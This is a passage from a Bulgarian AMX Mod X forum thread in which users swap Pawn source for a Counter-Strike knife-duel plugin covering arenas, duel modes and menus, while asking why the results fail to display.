	new _access, item_callback;
	menu_item_getinfo( menu, item, _access, szData,charsmax( szData ), szName,charsmax( szName ), item_callback );
	new code = str_to_num(szData)

	if(containi(szName,"move size:") != -1)
	{
		move_size[id]+= 10.0
		if(move_size[id] > 100.0)
		{
			move_size[id] = 10.0
		}
	}

	else if(equali(szName,"move up"))
	{
		move_the_fake_arena(id,code,MOVE_UP)
	}
	else if(equali(szName,"move down"))
	{
		move_the_fake_arena(id,code,MOVE_DOWN)
	}
	else if(equali(szName,"move right"))
	{
		move_the_fake_arena(id,code,MOVE_RIGHT)
	}
	else if(equali(szName,"move left"))
	{
		move_the_fake_arena(id,code,MOVE_LEFT)
	}
	else if(equali(szName,"move front"))
	{
		move_the_fake_arena(id,code,MOVE_FRONT)
	}
	else if(equali(szName,"move back"))
	{
		move_the_fake_arena(id,code,MOVE_BACK)
	}
	menu_destroy( menu );
	move_menu(id,code)
   
	return PLUGIN_CONTINUE;
}

public move_the_fake_arena(id,code,moveto)
{
	new ent = -1;
	new Float:origin[3];

	while ((ent = find_ent_by_class(ent, "ARENA_NUMBER_A")))
	{ 
		pev(ent,pev_origin,origin);

		switch(moveto)
		{
			case MOVE_UP:
			{
				origin[2]+=move_size[id]
			}
			case MOVE_DOWN:
			{
				origin[2]-=move_size[id]
			}
			case MOVE_RIGHT:
			{
				origin[1]+=move_size[id]
			}
			case MOVE_LEFT:
			{
				origin[1]-=move_size[id]
			}
			case MOVE_FRONT:
			{
				origin[0]+=move_size[id]
			}
			case MOVE_BACK:
			{
				origin[0]-=move_size[id]
			}
		}
		engfunc(EngFunc_SetOrigin,ent,origin);
	}

	while ((ent = find_ent_by_class(ent, "ARENA_NUMBER_B")))
	{ 
		pev(ent,pev_origin,origin);

		switch(moveto)
		{
			case MOVE_UP:
			{
				origin[2]+=move_size[id]
			}
			case MOVE_DOWN:
			{
				origin[2]-=move_size[id]
			}
			case MOVE_RIGHT:
			{
				origin[1]+=move_size[id]
			}
			case MOVE_LEFT:
			{
				origin[1]-=move_size[id]
			}
			case MOVE_FRONT:
			{
				origin[0]+=move_size[id]
			}
			case MOVE_BACK:
			{
				origin[0]-=move_size[id]
			}
		}
		engfunc(EngFunc_SetOrigin,ent,origin);
	}
   
}

public save_first_arena(id)
{
	new found;
	new cfgdir[32], mapname[32], urlfile[64]
	get_configsdir(cfgdir, charsmax(cfgdir))
	get_mapname(mapname, charsmax(mapname))
	formatex(urlfile, charsmax(urlfile), ARENA_FILE_AAA, cfgdir, mapname)
 
	if (file_exists(urlfile))
		delete_file(urlfile)
   
	new lineset[128]
	new Float:origin[3]
	new ent=-1;
	while ((ent = find_ent_by_class(ent, "ARENA_NUMBER_A")))
	{
			found++
			pev(ent,pev_origin,origin);
			format(lineset, charsmax(lineset), "%.f %.f %.f", origin[0], origin[1], origin[2])
			write_file(urlfile, lineset,found)
	}
	if(!found)
		client_print_color(id, "%s Couldn't save:^3No arenas found.",CHAT_TAG)
	else client_print_color(id,"%s %d ^3Arena Number 1 coords saved.",CHAT_TAG,found)
	EntityMenu(id)
	Load_Coords()
	Load_Coords2()

}

public save_second_arena(id)
{
	new found;
	new cfdir[32], mapname[32], urfile[64]
	get_configsdir(cfdir, charsmax(cfdir))
	get_mapname(mapname, charsmax(mapname))
	formatex(urfile, charsmax(urfile), ARENA_FILE_BBB, cfdir, mapname)
 
	if (file_exists(urfile))
		delete_file(urfile)
   
	new lineset[128]
	new Float:origin[3]
	new ent=-1;
	while ((ent = find_ent_by_class(ent, "ARENA_NUMBER_B")))
	{
			found++
			pev(ent,pev_origin,origin);
			format(lineset, charsmax(lineset), "%.f %.f %.f", origin[0], origin[1], origin[2])
			write_file(urfile, lineset,found)
	}
	if(!found)
		client_print_color(id, "%s Couldn't save:^3No arenas found.",CHAT_TAG)
	else client_print_color(id,"%s %d ^3Arena Number 2 coords saved.",CHAT_TAG,found)
	EntityMenu(id)
	Load_Coords()
	Load_Coords2()
}

public Load_Coords() 
{
	new cfgdir[32], mapname[32], filepath[512]
	get_configsdir(cfgdir, charsmax(cfgdir))
	get_mapname(mapname, charsmax(mapname))

		new readdata[128]
		new txtlen
	
		formatex(filepath, charsmax(filepath), ARENA_FILE_AAA, cfgdir, mapname)

		if ( file_exists(filepath) ) 
		{

			new sOrigins[3][16];
			
			new i
			new fsize = file_size(filepath,1)
			for (new line=0;line<=fsize;line++)
			{
				read_file(filepath,line,readdata,127,txtlen)

				parse(readdata, sOrigins[0], 15, sOrigins[1], 15, sOrigins[2], 15)
				for(i = 0; i < 3; i++)
				{
					vOrigin[i] = str_to_float(sOrigins[i])
				}
			}					
		}
		return PLUGIN_CONTINUE
} 

public Load_Coords2() 
{
	new cfgdir[32], mapname[32], filepath[512]
	get_configsdir(cfgdir, charsmax(cfgdir))
	get_mapname(mapname, charsmax(mapname))

		new readdata[128]
		new txtlen
	
		formatex(filepath, charsmax(filepath), ARENA_FILE_BBB, cfgdir, mapname)

		if ( file_exists(filepath) ) 
		{

			new sOrigins[3][16];
			
			new i
			new fsize = file_size(filepath,1)
			for (new line=0;line<=fsize;line++)
			{
				read_file(filepath,line,readdata,127,txtlen)

				parse(readdata, sOrigins[0], 15, sOrigins[1], 15, sOrigins[2], 15)
				for(i = 0; i < 3; i++)
				{
					fOrigin[i] = str_to_float(sOrigins[i])
				}
			}					
		}
		return PLUGIN_CONTINUE
} 

public fake_arena_exists_a(code)
{
	new ent = -1
	while ((ent = find_ent_by_class(ent, "ARENA_NUMBER_A")))
	{
				return PLUGIN_HANDLED
	}
	return PLUGIN_CONTINUE
}

public fake_arena_exists_b(code)
{
	new ent = -1
	while ((ent = find_ent_by_class(ent, "ARENA_NUMBER_B")))
	{
				return PLUGIN_HANDLED
	}
	return PLUGIN_CONTINUE
}


public makewall1()
{

	Entity = create_entity( "info_target" );

	if( is_valid_ent(Entity) )
	{
	if(most == true)
	{	
		entity_set_string( Entity , EV_SZ_classname, "ARENA_NUMBER_A");
		entity_set_int( Entity , EV_INT_solid, SOLID_BBOX);
		entity_set_model( Entity , DATE2 );
		entity_set_size( Entity , Float:{ -352.0, -11.0, 0.0 }, Float:{ 352.0, 11.0, 10.0 } );
		entity_set_origin( Entity, vOrigin );
	}
	else
	{
		entity_set_string( Entity , EV_SZ_classname, "ARENA_NUMBER_A");
		entity_set_int( Entity , EV_INT_solid, SOLID_BBOX);
		entity_set_model( Entity , DATE );
		entity_set_size( Entity , Float:{ -347.0, -222.0, 0.0 }, Float:{ 347.0, 222.0, 10.0 } );		
		entity_set_origin( Entity, vOrigin );
	}
	}

}

public makewall2()
{

	Entity = create_entity( "info_target" );

	if( is_valid_ent(Entity) )
	{
	if(most == true)
	{	
		entity_set_string( Entity , EV_SZ_classname, "ARENA_NUMBER_B");
		entity_set_int( Entity , EV_INT_solid, SOLID_BBOX);
		entity_set_model( Entity , DATE2 );
		entity_set_size( Entity , Float:{ -352.0, -11.0, 0.0 }, Float:{ 352.0, 11.0, 10.0 } );
		entity_set_origin( Entity, fOrigin );
	}
	else
	{
		entity_set_string( Entity , EV_SZ_classname, "ARENA_NUMBER_B");
		entity_set_int( Entity , EV_INT_solid, SOLID_BBOX);
		entity_set_model( Entity , DATE );
		entity_set_size( Entity , Float:{ -347.0, -222.0, 0.0 }, Float:{ 347.0, 222.0, 10.0 } );		
		entity_set_origin( Entity, fOrigin );
	}
	}

}

public set_spawn_positions(id,Float:origin[3])
{
	if(get_user_team(id) == 1)
	{
		his_spawn[id][0] = origin[0]-320.0
		his_spawn[id][1] = origin[1]
		his_spawn[id][2] = origin[2]+50.0
		set_Angle(id, Float:{0.0, 0.0, 0.0})
	}
	if(get_user_team(id) == 2)
	{
		his_spawn[id][0] = origin[0]+320.0
		his_spawn[id][1] = origin[1]
		his_spawn[id][2] = origin[2]+50.0
		set_Angle(id, Float:{0.0, 180.0, 0.0})
	}
	entity_set_origin(id,his_spawn[id])
	
}

public stuck_check(Float:origin[3],Float:radius)
{
    new player=-1;
    while((player = find_ent_in_sphere(player,origin,radius)) != 0)
    {
        if(is_user_alive(player))
        {
            if(is_player_stuck(player))
            {
                his_spawn[player][0] = origin[0]
                his_spawn[player][1] = origin[1]
                his_spawn[player][2] = origin[2]+50.0
                entity_set_origin(player,his_spawn[player])
            }
        }
    }
}


stock set_Angle( index , Float:fAngle[ 3 ])
{
	entity_set_vector( index , EV_VEC_angles , fAngle ); 
	entity_set_int( index , EV_INT_fixangle , 1 );
}


stock get_user_hitpoint(id,Float:hOrigin[3])  {
	if(!is_user_alive(id))
		return 0;
 
	new Float:fOrigin[3],Float:fvAngle[3],Float:fvOffset[3],Float:fvOrigin[3],Float:feOrigin[3];
	new Float:fTemp[3];
 
	pev(id,pev_origin,fOrigin);
	pev(id,pev_v_angle,fvAngle);
	pev(id,pev_view_ofs,fvOffset);
 
	xs_vec_add(fOrigin,fvOffset,fvOrigin);
 
	engfunc(EngFunc_AngleVectors,fvAngle,feOrigin,fTemp,fTemp);
 
	xs_vec_mul_scalar(feOrigin,9999.9,feOrigin);
	xs_vec_add(fvOrigin,feOrigin,feOrigin);
 
	engfunc(EngFunc_TraceLine,fvOrigin,feOrigin,0,id);
	global_get(glb_trace_endpos,hOrigin);
 
	return 1;
}

stock is_player_stuck(id)
{
    static Float:originF[3]
    pev(id, pev_origin, originF)
   
    engfunc(EngFunc_TraceHull, originF, originF, 0, (pev(id, pev_flags) & FL_DUCKING) ? HULL_HEAD : HULL_HUMAN, id, 0)
   
    if (get_tr2(0, TR_StartSolid) || get_tr2(0, TR_AllSolid) || !get_tr2(0, TR_InOpen))
        return true;
   
    return false;
}

stock available_duelers(asker)
{
	new num;
	num = 0 // just incase...
	for(new id;id < maxplayers;id++)
	{
		if(is_user_alive(id))
		{
			if(/*!in_Duel[id] && */id != asker && !is_user_bot(id))
			{
				num++
			}
		}
	}
	return num
}

/* AMXX-Studio Notes - DO NOT MODIFY BELOW HERE
*{\\ rtf1\\ ansi\\ deff0{\\ fonttbl{\\ f0\\ fnil Tahoma;}}\n\\ viewkind4\\ uc1\\ pard\\ lang1048\\ f0\\ fs16 \n\\ par }
*/
Здравейте, Ние сме Dark-Star Counter-Strike базирана верига стремяща се да предостави качествени сървъри на своитепотребители
〢☆ При нас може да намерите:
〢☆ активен и помагащ STAFF
〢☆ Качествени сървъри.
〢☆ 24/7 поддръжка.
〢☆ Нашият дискорд: https://discord.gg/cPw8xauRPq
Изображение

Аватар
Dennis
Извън линия
AMXX Скриптър
AMXX Скриптър
Мнения: 177
Регистриран на: 25 Дек 2018, 04:14
Се отблагодари: 4 пъти
Получена благодарност: 10 пъти

Re: Проблем със къмплиране на плугин

Мнение от Dennis » 27 Яну 2023, 09:42

HeatoN написа: 27 Яну 2023, 04:49 Тази версия работи както искам но не показва резултата нито във худ нито в чата ще се радвам ако и мернеш 1 око

Код за потвърждение: Избери целия код

#include <amxmodx>
#include <amxmisc>
#include <engine>
#include <fakemeta>
#include <hamsandwich>
#include <fun>
#include <xs>
#include <cstrike>
#include <dhudmessage>


#pragma tabsize 0
#pragma compress 1

#define PLUGIN "Knife Duel"
#define VERSION "1.1"
#define AUTHOR "Raizo/Remake by N.W."


#define CHAT_TAG "^3[^4UltimateDuels^3]^1 " 
#define MAX_PLAYERS 32
#define MOVE_UP 0
#define MOVE_DOWN 1
#define MOVE_RIGHT 2
#define MOVE_LEFT 3
#define MOVE_FRONT 4
#define MOVE_BACK 5

new Entity, maxplayers

new mapid[32], szName[32], map_default_hp, rounds; 

new Float:vOrigin[3], Float:fOrigin[3], Float:his_spawn[33][3], Float:move_size[33], Float:fVelocity[3]; 

new bool:in_Duel[MAX_PLAYERS+1], g_Challenge[MAX_PLAYERS+1], g_Area[MAX_PLAYERS+1] = 0, g_DuelK[MAX_PLAYERS+1] = 0, g_DuelC[MAX_PLAYERS+1] = 0, g_MenuCallback;
new bool:Arena1in = false, bool:Arena2in = false;

new bool:his_offline[MAX_PLAYERS+1]
new bool:slash_attack[33];
new bool:stab_attack[33];
new bool:hs_attack[33];
new bool:Non_Stop[33];

new bool:most = false

new const ARENA_FILE_AAA[] = "%s/plat_A/%s.cfg"
new const ARENA_FILE_BBB[] = "%s/plat_B/%s.cfg"
new const DATE[] = "models/darkduelplatform.mdl"
new const DATE2[] = "models/darkduelbridge1.mdl"


public plugin_init() 
{
	register_plugin(PLUGIN, VERSION, AUTHOR)

	register_clcmd("say /duel","Duel_Menu");
	register_clcmd("say /arena","EntityMenu");
	register_clcmd("endduel","End_Duel");

	rounds = register_cvar("rush_rounds","10")

	g_MenuCallback = menu_makecallback("menuitem_callback");
	RegisterHam(Ham_Touch, "weaponbox", "hamTouchWeapon");
	RegisterHam(Ham_Touch, "armoury_entity", "hamTouchWeapon");
	RegisterHam(Ham_Touch, "weapon_shield", "hamTouchWeapon");
	RegisterHam(Ham_TakeDamage, "player", "TakeDMG");
	RegisterHam(Ham_Killed, "player", "PlayerKilled");
	RegisterHam(Ham_Spawn, "player", "PlayerSpawn", 1);
	RegisterHam(Ham_Player_Jump, "player", "pfw_UpdateClientData");
	RegisterHam(Ham_Player_Duck, "player", "pfw_UpdateClientData");
	register_forward(FM_PlayerPreThink,"FW_Prethink")

	Load_Coords()
	Load_Coords2()

	maxplayers = get_maxplayers();

	register_forward(FM_CmdStart,"Fw_Cmd_Slash");
	register_forward(FM_CmdStart,"Fw_Cmd_Stab");

	register_forward(FM_CmdStart,"NonStop");

	register_forward(FM_UpdateClientData, "pfw_UpdateClientData", 1)

	RegisterHam(Ham_TraceAttack, "player", "Forward_TraceAttack");

	get_mapname(mapid,charsmax(mapid))


	if(containi(mapid,"35hp") != -1)
		map_default_hp = 35
	else if(containi(mapid,"1hp") != -1)
		map_default_hp = 1
	else map_default_hp = 35

}

public plugin_cfg()
{

	new cfgdir[32], urlfile[64]
	get_configsdir(cfgdir, charsmax(cfgdir))
	formatex(urlfile, charsmax(urlfile), "%s/plat_A", cfgdir)
	if(!dir_exists(urlfile))
	{
		mkdir(urlfile)
		server_print("%sCreated new folder: %s",CHAT_TAG,urlfile)
	} 

	new cfdir[32], urfile[64]
	get_configsdir(cfdir, charsmax(cfdir))
	formatex(urfile, charsmax(urfile), "%s/plat_B", cfdir)
	if(!dir_exists(urfile))
	{
		mkdir(urfile)
		server_print("%sCreated new folder: %s",CHAT_TAG,urfile)
	}
}

public KDC_Menu( id )
{
	new gMenu = menu_create("\yВыбери тип дуэли:", "kdc_menu_handler")

	menu_additem(gMenu, "\wОбычный", "1") 
	menu_additem(gMenu, "\wНон-стоп", "2") 
	menu_additem(gMenu, "\wТолько правой", "3")  
	menu_additem(gMenu, "\wТолько левой", "4")	
	menu_additem(gMenu, "\wТолько в голову", "5")

	menu_display(id, gMenu, 0)
}

public kdc_menu_handler(id, menu, item)	   
{
	if ( item == MENU_EXIT )	
	{
		menu_destroy(menu)	   
		return PLUGIN_HANDLED;   
	}
	switch(item)   
	{		
		case 0: knf_d(id)
		case 1: Dont_Stop(id)
		case 2: Block_Slash(id)
		case 3: Block_Stab(id)
		case 4: Hs_Only(id)
	}
	return PLUGIN_HANDLED;  
}

public Fw_Cmd_Slash(id, uc_handle, seed)
{
	if(!is_user_alive(id) || !slash_attack[id]) 
	   return FMRES_IGNORED; 
  
	new iButtons = get_uc(uc_handle,UC_Buttons);
	new trash[2], iWeapon = get_user_weapon(id,trash[0], trash[1]);
  
	if( (iButtons & IN_ATTACK) && iWeapon == CSW_KNIFE)
	{
		iButtons = iButtons & ~IN_ATTACK;
		set_uc(uc_handle, UC_Buttons, iButtons);
	
		return FMRES_SUPERCEDE;
	}
   
	return FMRES_IGNORED;
}

public Fw_Cmd_Stab(id, uc_handle, seed)
{
	if(!is_user_alive(id) || !stab_attack[id]) 
	   return FMRES_IGNORED; 
  
	new iButtons = get_uc(uc_handle,UC_Buttons);
	new trash[2], iWeapon = get_user_weapon(id,trash[0], trash[1]);
  
	if( (iButtons & IN_ATTACK2) && iWeapon == CSW_KNIFE)
	{
		iButtons = iButtons & ~IN_ATTACK2;
		set_uc(uc_handle, UC_Buttons, iButtons);
	
		return FMRES_SUPERCEDE;
	}
   
	return FMRES_IGNORED;
}

public Forward_TraceAttack(iVictim, iKiller, Float:dmg, Float:dir[3], tr, dmgbit)
{
	if (iVictim == iKiller || !is_user_alive(iKiller) || !hs_attack[iKiller] )
		return FMRES_IGNORED;

	if(iKiller && get_tr2(tr, TR_iHitgroup) != HIT_HEAD)
			
		return HAM_SUPERCEDE;
	
	return HAM_IGNORED;
}

public knf_d(Challenged) 
{
	get_user_name( Challenged , szName , charsmax( szName ) );

	set_dhudmessage( 0, 206, 209, -1.0, 0.1, 0, 1.0, 5.0, 0.1, 0.2, false )
	show_dhudmessage(Challenged, "%s выбрал обычный режим!", szName)
	show_dhudmessage(g_Challenge[Challenged], "%s выбрал обычный режим!", szName)
 
}

public Dont_Stop(Challenged) 
{
	get_user_name( Challenged , szName , charsmax( szName ) );

	if (is_user_alive(Challenged) && is_user_alive(g_Challenge[Challenged]))
	{
		set_task(0.1, "GoToSpawn", Challenged);
		set_task(0.1, "GoToSpawn", g_Challenge[Challenged]);
		Non_Stop[Challenged] = true
		Non_Stop[g_Challenge[Challenged]] = true 
		set_dhudmessage( 0, 206, 209, -1.0, 0.1, 0, 1.0, 5.0, 0.1, 0.2, false )
		show_dhudmessage(Challenged, "%s выбрал режим нон-стоп!", szName)
		show_dhudmessage(g_Challenge[Challenged], "%s выбрал режим нон-стоп!", szName)
	} 
}

public Block_Slash(Challenged) 
{
	get_user_name( Challenged , szName , charsmax( szName ) );

	if (is_user_alive(Challenged) && is_user_alive(g_Challenge[Challenged]))
	{
		slash_attack[Challenged] = true
		slash_attack[g_Challenge[Challenged]] = true 
		set_dhudmessage( 0, 206, 209, -1.0, 0.1, 0, 1.0, 5.0, 0.1, 0.2, false )
		show_dhudmessage(Challenged, "%s выбрал режим только правой!", szName)
		show_dhudmessage(g_Challenge[Challenged], "%s выбрал режим только правой!", szName)
	} 
}

public Block_Stab(Challenged) 
{
	get_user_name( Challenged , szName , charsmax( szName ) );

	if (is_user_alive(Challenged) && is_user_alive(g_Challenge[Challenged]))
	{
		stab_attack[Challenged] = true
		stab_attack[g_Challenge[Challenged]] = true 
		set_dhudmessage( 0, 206, 209, -1.0, 0.1, 0, 1.0, 5.0, 0.1, 0.2, false )
		show_dhudmessage(Challenged, "%s выбрал режим только левой!", szName)
		show_dhudmessage(g_Challenge[Challenged], "%s выбрал режим только левой!", szName)
	}
}

public Hs_Only(Challenged) 
{
	get_user_name( Challenged , szName , charsmax( szName ) );

	if (is_user_alive(Challenged) && is_user_alive(g_Challenge[Challenged]))
	{
		hs_attack[Challenged] = true
		hs_attack[g_Challenge[Challenged]] = true 
		set_dhudmessage( 0, 206, 209, -1.0, 0.1, 0, 1.0, 5.0, 0.1, 0.2, false )
		show_dhudmessage(Challenged, "%s выбрал режим только в голову!", szName)
		show_dhudmessage(g_Challenge[Challenged], "%s выбрал режим только в голову!", szName)
	}
}

public client_putinserver(id)
{
	his_offline[id] = false

	return PLUGIN_CONTINUE
}

public toggle_offline(id)
{
	switch(his_offline[id])
	{
		case 0:
		{
			his_offline[id] = true
			client_print_color(id, "!g[!tДуэли!g] !tТы !gотключил !tдуэли!");
		}
		default:
		{
			his_offline[id] = false
			client_print_color(id, "!g[!tДуэли!g] !tТы !gснова включил !tдуэли!");
		}
	}
}

public toggle_most(id)
{
	switch(most)   
	{
		case 0: most = true 
		case 1: most = false
	}
}

public FW_Prethink(id)
{

	if (pev(id,pev_button) & IN_ATTACK && pev(id,pev_button) & IN_ATTACK2)
			Duel_Menu(id)
}

public Duel_Menu(id)
{
		new gMenu = menu_create("\yМеню дуэлей", "Duel_menu_handler")
	
		menu_additem(gMenu, "\wВызвать на дуэль", "0")  
		menu_additem(gMenu, "\wСдаться [\yВ дуэли\w]", "0") 
	if(his_offline[id] == false)
	{
		menu_additem(gMenu, "\wОтключить дуэли", "0")
	}
	else
	{
		menu_additem(gMenu, "\wВключить дуэли", "0")
	}
	if(most == true)
	{	
		menu_additem(gMenu, "\wМесто: [\rМост\w]", "0") 
	}
	else
	{
		menu_additem(gMenu, "\wМесто: [\rПлатформа\w]", "0") 
	}
		menu_display(id, gMenu, 0)
}

public Duel_menu_handler(id, menu, item)	   
{
	if ( item == MENU_EXIT )	
	{
		menu_destroy(menu)	   
		return PLUGIN_HANDLED;   
	}
	switch(item)   
	{
		case 0: choose_playermenu(id, id)
		case 1: client_cmd(id, "endduel")
		case 2: toggle_offline(id), Duel_Menu(id)
		case 3: toggle_most(id), Duel_Menu(id)
	}
	return PLUGIN_HANDLED;  
}


public client_command(id)
{
	static const szJoinCommand[] = "jointeam";
	static const szJoinCommand1[] = "chooseteam";
	static szCommand[10];
	read_argv(0, szCommand, 9);
	if (equal(szCommand, szJoinCommand)
	&& CS_TEAM_T <= cs_get_user_team(id) <= CS_TEAM_CT)
	{
		return PLUGIN_HANDLED;
	}
	if (equal(szCommand, szJoinCommand1))
	{
		return PLUGIN_HANDLED;
	}
		return PLUGIN_CONTINUE;
}  

public hamTouchWeapon(id)
{
	return 4;
}
public TakeDMG(victim, idinflictor, attacker, Float:damage, Float:direction[3], tracehandle, damagebits)
{
	if (victim != attacker)
	{
		if (in_Duel[victim] && !in_Duel[attacker])
		{
			return 4;
		}
	}
	return 1;
}

public PlayerKilled(victim, killer, shouldgib)
{
	if (is_user_alive(killer))
	{
		new victimname[32] , attackername[32];
		get_user_name(victim, victimname, 31);
		get_user_name(killer, attackername, 31);
		if (victim != killer && killer != 0 )
		{
			if (in_Duel[killer] && in_Duel[victim])
			{
				if (killer)
				{
					g_DuelK[killer]+=1;
				}
				if (g_Challenge[killer])
				{
					g_DuelC[g_Challenge[killer]]+=1;
				}
			}
		}
		if (in_Duel[killer] && in_Duel[victim])
		{
			if(g_DuelK[killer]<get_pcvar_num(rounds) && g_DuelC[g_Challenge[killer]]<get_pcvar_num(rounds))
			{
				if (!g_Challenge[victim])
				{
					return PLUGIN_HANDLED;
				}
				else
				{
					return PLUGIN_HANDLED;
				}
			}
			else
			{
				if (victim)
				{
					client_print_color(0, "!t[!gДуэли!t] ^1%s !t%i!g:!t%i ^1%s!t. Победил - !g%s",
					attackername,
					g_DuelC[g_Challenge[killer]],
					g_DuelK[victim],
					victimname,
					attackername);
					DisableChecks(victim);
					set_task(0.5, "GoToSpawn", killer);
					set_task(0.5, "GoToSpawn", victim);
				}
				if (g_Challenge[victim])
				{
					client_print_color(0, "!t[!gДуэли!t] ^1%s !t%i!g:!t%i ^1%s!t. Победил - !g%s",
					attackername,
					g_DuelK[killer],
					g_DuelC[g_Challenge[victim]],
					victimname,
					attackername);
					DisableChecks(g_Challenge[victim]);
					set_task(0.5, "GoToSpawn", killer);
					set_task(0.5, "GoToSpawn", victim);
				}
				g_DuelC[killer] = 0;
				g_DuelK[victim] = 0;
				g_DuelC[victim] = 0;
				g_DuelK[killer] = 0

				slash_attack[victim] = false 
				slash_attack[g_Challenge[victim]] = false 
				stab_attack[victim] = false 
				stab_attack[g_Challenge[victim]] = false 
				hs_attack[victim] = false 
				hs_attack[g_Challenge[victim]] = false
				Non_Stop[victim] = false 
				Non_Stop[g_Challenge[victim]] = false
				 
				slash_attack[killer] = false 
				slash_attack[g_Challenge[killer]] = false 
				stab_attack[killer] = false 
				stab_attack[g_Challenge[killer]] = false 
				hs_attack[killer] = false 
				hs_attack[g_Challenge[killer]] = false 
				Non_Stop[killer] = false 
				Non_Stop[g_Challenge[killer]] = false
			}
		}
	}
}

public PlayerSpawn(id)
{
	if (is_user_alive(id) && in_Duel[id] && is_user_alive(g_Challenge[id] && in_Duel[g_Challenge[id]]))
	{
		whileinduel(id);
		whileinduel(g_Challenge[id]);
		set_user_health(id, map_default_hp);
		set_user_health(g_Challenge[id], map_default_hp);
	}
}

public whileinduel(id)
{

	switch (g_Area[id])
	{
		case 1:
		{
			set_spawn_positions(id,vOrigin)
			set_spawn_positions(g_Challenge[id],vOrigin)
		}
		case 2:
		{
			set_spawn_positions(id,fOrigin)
			set_spawn_positions(g_Challenge[id],fOrigin)

		}
	}
}

public GoToSpawn(killer) {ExecuteHamB(Ham_CS_RoundRespawn, killer);}
public DisableChecks(id)
{	
	if(in_Duel[id])
	{
		if (!g_Area[id])
		{
			switch (g_Area[g_Challenge[id]])
			{
				case 1:
				{
					Arena1in = false;
				}
				case 2:
				{
					Arena2in = false;
				}
			}
						dArena(g_Area[g_Challenge[id]]);
			g_Area[g_Challenge[id]] = 0;
		}
		else
		{
			switch (g_Area[id])
			{
				case 1:
				{
					Arena1in = false;
				}
				case 2:
				{
					Arena2in = false;
				}
			}
						dArena(g_Area[id])	
			g_Area[id] = 0;
		}
		in_Duel[g_Challenge[id]] = false;
		in_Duel[id] = false;
		slash_attack[id] = false; 
		slash_attack[g_Challenge[id]] = false ;
		stab_attack[id] = false ;
		stab_attack[g_Challenge[id]] = false ;
		hs_attack[id] = false ;
		hs_attack[g_Challenge[id]] = false;
		Non_Stop[id] = false ;
		Non_Stop[g_Challenge[id]] = false  ;

	}
	if(g_Challenge[id])
	{
		g_Challenge[g_Challenge[id]] = 0;
		g_Challenge[id] = 0;
	}
}
public client_disconnect(id)
{
	new cname[32], ccname[32];
	get_user_name(g_Challenge[id], ccname, 31);
	get_user_name(g_Challenge[g_Challenge[id]], cname, 31);
	if (in_Duel[g_Challenge[id]])
	{
		set_task(0.5, "GoToSpawn", g_Challenge[id]);
		client_print_color(g_Challenge[id], "!t[!gДуэли!t] !g%s !tвышел с сервера.", cname);
	}
	if (in_Duel[g_Challenge[g_Challenge[id]]])
	{
		set_task(0.5, "GoToSpawn", g_Challenge[g_Challenge[id]]);
		client_print_color(g_Challenge[g_Challenge[id]], "!t[!gДуэли!t] !g%s !tвышел с сервера.", ccname);
	}
	g_DuelC[g_Challenge[id]] = 0;
	g_DuelC[id] = 0;
	g_DuelK[g_Challenge[id]] = 0;
	g_DuelK[id] = 0;

	slash_attack[id] = false 
	slash_attack[g_Challenge[id]] = false 
	stab_attack[id] = false 
	stab_attack[g_Challenge[id]] = false 
	hs_attack[id] = false 
	hs_attack[g_Challenge[id]] = false
	Non_Stop[id] = false 
	Non_Stop[g_Challenge[id]] = false  

	DisableChecks(id);
}

public End_Duel(id)
{
	new his_name[33]
	get_user_name(id,his_name[id],charsmax(his_name))

	if(in_Duel[id])
	{
		set_task(0.5, "GoToSpawn", id);
		set_task(0.5, "GoToSpawn", g_Challenge[id]);
		g_DuelC[g_Challenge[id]] = 0;
		g_DuelC[id] = 0;
		g_DuelK[g_Challenge[id]] = 0;
		g_DuelK[id] = 0;
		DisableChecks(id);

		Non_Stop[id] = false;
		Non_Stop[g_Challenge[id]] = false;
		hs_attack[id] = false;
		hs_attack[g_Challenge[id]] = false;
		stab_attack[id] = false;
		stab_attack[g_Challenge[id]] = false;
		slash_attack[id] = false;
		slash_attack[g_Challenge[id]] = false;

		set_dhudmessage( 255, 0, 0, -1.0, 0.1, 0, 1.0, 5.0, 0.1, 0.2, false )
		show_dhudmessage(0, "%s Сдался в дуэли! Лох!", his_name[id])
		client_print_color(0, "!g[!tДуэли!g] %s !tрешил сдаться.", his_name[id]);
	}

}
public choose_playermenu(Challenger, Challenged)
{
	if (!in_Duel[Challenger] && is_user_alive(Challenger))
	{
		if (Arena1in && Arena2in)
		{
			client_print_color(Challenger, "!t[!gДуэли!t] Все арены заняты.");
			return PLUGIN_HANDLED
		}
	}
		if(his_offline[Challenged])
		{
			client_print_color(Challenger,"!t[!gДуэли!t] Ты не можешь вызывать на дуэль, когда ты их !gотключил.")
			return PLUGIN_HANDLED
		}
		if(!available_duelers(Challenged))
		{
			client_print_color(Challenged,"%s^4Некого^1 вызвать на дуэль.",CHAT_TAG)
		return PLUGIN_HANDLED
		}
	if (in_Duel[Challenger])
	{
		return PLUGIN_HANDLED
	}
	if (!is_user_alive(Challenger))
	{
		return PLUGIN_HANDLED
	}


	new menu = menu_create( "\y[\rДуэль\y]", "choose_playermenu_handler");
	menu_additem(menu, "\r[!]\yОбновить список\r[!]^n\wВыбери, кого вызвать:", "0", 0);
	new players[32], pnum;
	new szName[32], szTempid[32], Desc[64];
	get_players(players, pnum);
	for (new i; i<pnum; i++)
	{
		Challenged = players[i];
		if (is_user_alive(Challenged) && (Challenger != Challenged))
		{
			get_user_name(Challenged, szName, charsmax(szName));
			formatex(Desc, charsmax(Desc), in_Duel[Challenged] ? "\d%s \y[\rВ дуэли\y]" : "%s", szName);

				if(his_offline[Challenged])
				{
						formatex(Desc, charsmax(Desc), his_offline[Challenged] ? "\d%s \y[\rОтключил дуэли\y]" : "%s", szName);
					}
			num_to_str(Challenged, szTempid, charsmax(szTempid));
			menu_additem(menu, Desc, szTempid, 0, g_MenuCallback);
		}

	}
	menu_setprop(menu, MPROP_EXIT, MEXIT_ALL);
	menu_display(Challenger, menu, 0);
	return PLUGIN_HANDLED
}

public menuitem_callback(Challenger, menu, item)
{
	new data[6], szName[64];
	new access, callback;
	menu_item_getinfo(menu, item, access, data, charsmax(data), szName,charsmax(szName), callback);
	new tempid = str_to_num(data);
	if (in_Duel[tempid] || !is_user_alive(tempid))
	{
		return ITEM_DISABLED;
	}
	if(his_offline[tempid])
	{
		return ITEM_DISABLED;
	}
	return ITEM_ENABLED;
}
public choose_playermenu_handler(Challenger, menu, item)
{
	if (item == MENU_EXIT)
	{
		menu_destroy(menu);
		return PLUGIN_HANDLED;
	}
	new data[6], szName[64];
	new access, callback;
	menu_item_getinfo(menu, item, access, data,charsmax(data), szName, charsmax(szName), callback);
	new tempid = str_to_num(data);
	switch(item)
		{
			case 0:
			{
			choose_playermenu(Challenger, Challenger);
		}
	}
